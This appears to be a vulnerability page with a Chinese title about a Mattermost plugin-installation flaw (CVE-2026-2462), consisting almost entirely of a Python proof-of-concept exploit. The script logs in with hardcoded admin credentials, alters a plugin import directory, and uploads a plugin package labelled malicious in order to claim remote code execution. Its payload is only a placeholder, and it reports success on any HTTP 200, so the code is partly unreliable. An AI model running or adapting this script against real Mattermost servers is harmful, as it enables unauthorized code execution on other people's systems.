Mattermost 插件安装权限漏洞导致远程代码执行 (CVE-2026-2462)

#!/usr/bin/env python3 # CVE-2026-2462 PoC - Mattermost Malicious Plugin Upload # Note: For authorized security testing only import requests import tarfile import io import json import sys TARGET_URL = "http://target-mattermost-instance.com" USERNAME = "admin" PASSWORD = "Password1!" def create_malicious_plugin(): """Create a malicious Mattermost plugin package""" # Plugin manifest manifest = { "id": "malicious-plugin", "name": "Malicious Plugin", "description": "Malicious plugin for CVE-2026-2462", "version": "1.0.0", "server": { "executable": "server/dist/plugin.so" } } # Create tarball tar_buffer = io.BytesIO() with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar: # Add manifest manifest_info = tarfile.TarInfo(name='plugin.json') manifest_content = json.dumps(manifest).encode() manifest_info.size = len(manifest_content) tar.addfile(manifest_info, io.BytesIO(manifest_content)) # Add malicious server binary placeholder # In real attack, this would be compiled malicious code server_info = tarfile.TarInfo(name='server/dist/plugin.so') server_content = b'\x7fELF...' # Malicious compiled plugin server_info.size = len(server_content) tar.addfile(server_info, io.BytesIO(server_content)) tar_buffer.seek(0) return tar_buffer.read() def exploit(): """Execute CVE-2026-2462 exploit""" session = requests.Session() # Step 1: Login with default credentials login_url = f"{TARGET_URL}/api/v4/login" login_data = {"login_id": USERNAME, "password": PASSWORD} response = session.post(login_url, json=login_data) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Successfully authenticated") # Step 2: Modify plugin import directory settings_url = f"{TARGET_URL}/api/v4/plugins/import_directory" session.put(settings_url, json={"directory": "/tmp/mattermost/plugins"}) print("[+] Modified plugin import directory") # Step 3: Upload malicious plugin plugin_data = create_malicious_plugin() upload_url = f"{TARGET_URL}/api/v4/plugins/upload" response = session.post(upload_url, files={'plugin': ('malicious.tar.gz', plugin_data)}) if response.status_code == 200: print("[+] Malicious plugin uploaded successfully") print("[+] Remote code execution achieved") return True else: print(f"[-] Upload failed: {response.status_code}") return False if __name__ == "__main__": print("CVE-2026-2462 PoC - Mattermost Plugin Installation Vulnerability") exploit()